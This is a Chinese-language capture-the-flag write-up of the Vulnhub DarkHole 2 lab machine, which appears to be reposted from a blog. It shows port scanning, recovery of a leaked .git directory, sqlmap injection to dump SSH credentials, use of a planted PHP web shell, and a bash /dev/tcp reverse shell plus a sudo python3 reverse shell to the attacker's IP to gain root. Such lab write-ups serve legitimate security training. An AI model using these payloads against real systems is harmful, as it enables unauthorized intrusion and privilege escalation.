Vulnhub實戰-Dockhole_2靶機??
靶機地址:https://www.vulnhub.com/entry/darkhole-2,740/
1.描述

hint:讓我們不要浪費時間在蠻力上面!
2.主機發現,埠掃描
- 主機發現
在kali上面掃描本地網段,發現主機IP192.168.33.88
nmap -sn 192.168.33.0/24

- 埠掃描
在kali中輸入以下命令
nmap -sS -p- -v 192.168.33.88

我們發現開啟了22,80埠,說明開啟了ssh跟web服務,還記得提示嘛,讓我們不要用蠻力噢,所有這里我不打算暴力破解ssh賬號密碼,直接看看web服務有什么線索吧,
3.web服務測驗
- 訪問ip192.168.33.88,得到如下頁面:

分析頁面有什么功能點,發現存在一個login頁面如下:

查看頁面源代碼也沒有發現什么有用的資訊,試試目錄掃描吧,
- 目錄掃描
打開kali進入dirsearch進行目錄掃描
python3 dirsearch.py -u 'http://192.168.33.88' -i 200

我們看到一堆git目錄,說明存在git原始碼泄露,但是除了我們知道的index.php,login.php之外還出現了一個dashboard.php這個目錄,我們打開看看發現不允許訪問,應該做了權限驗證,所有先從git原始碼泄露下手吧,

- git原始碼下載
從上面我們看到這個頁面存在git原始碼泄露,頁面如下:

方法一:我們利用Githacker這個工具,將它下載到本地看看,(這里提示一下,網上很多博客說的是用Githack這個工具,但是這個工具我試了,并沒有把代碼完整的克隆下來,Githack只是恢復原始碼的最新版本,而Githacker可以將開發者的提交歷史一起克隆下來并在本地重建,)
具體區別可以參考如下:https://blog.csdn.net/qq_37450949/article/details/117821102
方法二:我們也可以用wget -r這個命令遞回下載原始碼下來重建,也可以下載完全,
命令如下:
wget -r http://192.168.33.88/.git/
接下來在kali中輸入命令下載代碼到本地:
githacker --url http://192.168.33.88/.git/ --folder output
意思是把原始碼下載到當前目錄output檔案夾

然后我們可以查看login.php的原始碼,可以看到登陸處的代碼邏輯

接下來我們看看 git 歷史日志,發現存在修改記錄,第二個那里作者添加了默認憑據
git log

我們切換過去看看git checkout a4d900a8d85e89

切換歷史版本之后我們再次打開login.php發現了默認的用戶名密碼

拿上用戶名密碼登錄之后看到如下頁面:

- sql注入
我們查看了一下原始碼,發現沒什么可利用的,最后在url處發現有個id,我們猜測這里存在SQL注入,這里比較懶,就不用手工注入了,直接上sqlmap跑一下,
sqlmap -u "http://192.168.33.88/dashboard.php?id=1" --cookie='PHPSESSID=skffj4ijtoik6o0qpulteqboqd' --current-db //爆資料庫
sqlmap -u "http://192.168.33.88/dashboard.php?id=1" --cookie='PHPSESSID=skffj4ijtoik6o0qpulteqboqd' -D darkhole_2 --tables //爆表
sqlmap -u "http://192.168.33.88/dashboard.php?id=1" --cookie='PHPSESSID=skffj4ijtoik6o0qpulteqboqd' -D darkhole_2 -T ssh --dump //爆內容
我們可以看到資料庫"dockhole_2",表有兩個"ssh,users",看了一下users表,發現沒有什么重要資訊,在ssh表里面發現了一個賬號密碼,我們可以拿來連接ssh,

4.提權
拿到用戶名密碼之后我們登錄ssh:

進來之后我們看看是否存在具有suid權限的檔案,發現不存在具有suid權限的檔案,
find / -perm -u=s -type f 2>/dev/null

我們再看看是否具有root權限能執行的命令,發現也沒有??
sudo -l

完了,沒路了,不會走了,看看其他大佬博客他們接下來是去查看linux的定時任務檔案
cat /etc/crontab

發現有一個用戶losy開啟了本地的9999埠,至于php -s是開啟了一個網路服務器的意思,

我們嘗試去訪問9999埠,發現連接失敗,那么我們就把靶機的9999埠轉發到本地來訪問,??
ssh -L 9999:127.0.0.1:9999 [email protected]

然后我們在瀏覽器訪問127.0.0.1:9999就可以訪問了,我們可以看到它是讓我們以GET的方式輸入一個cmd引數,噢對了,剛付訓有一個目錄我們看看里面是什么,里面是一個一句話木馬,那就對上了,


接下來我們通過cmd引數反彈一個shell,kali監聽10086埠連接,
nc -lnvp 10086

payload:bash -c 'sh -i >& /dev/tcp/192.168.33.213/10086 0>&1'
因為是通過GET方式執行paylaod,所以我們要先進行url編碼:
%62%61%73%68%20%2d%63%20%27%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%33%33%2e%32%31%33%2f%31%30%30%38%36%20%30%3e%26%31%27
發送請求之后我們就連上shell了,我們可以看到用戶是losy

我們在losy的歷史命令中看到了設定的密碼:gang

接著我們通過ssh連接上losy,看到losy能以root權限執行python3命令,所以我們自然就能想到反彈一個python3的反彈shell!??
ssh [email protected]
sudo -l
sudo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.33.213",10086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

我們的kali監聽10086,可以看到反彈shell已經連上了,看看權限是root權限,然后在/root檔案夾下面找到了root.txt,flag就在里面!??

到這里我們就結束了,成功提權到root權限了!通過干vulnhub,一天一個提權小技巧!??

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/343920.html
標籤:其他
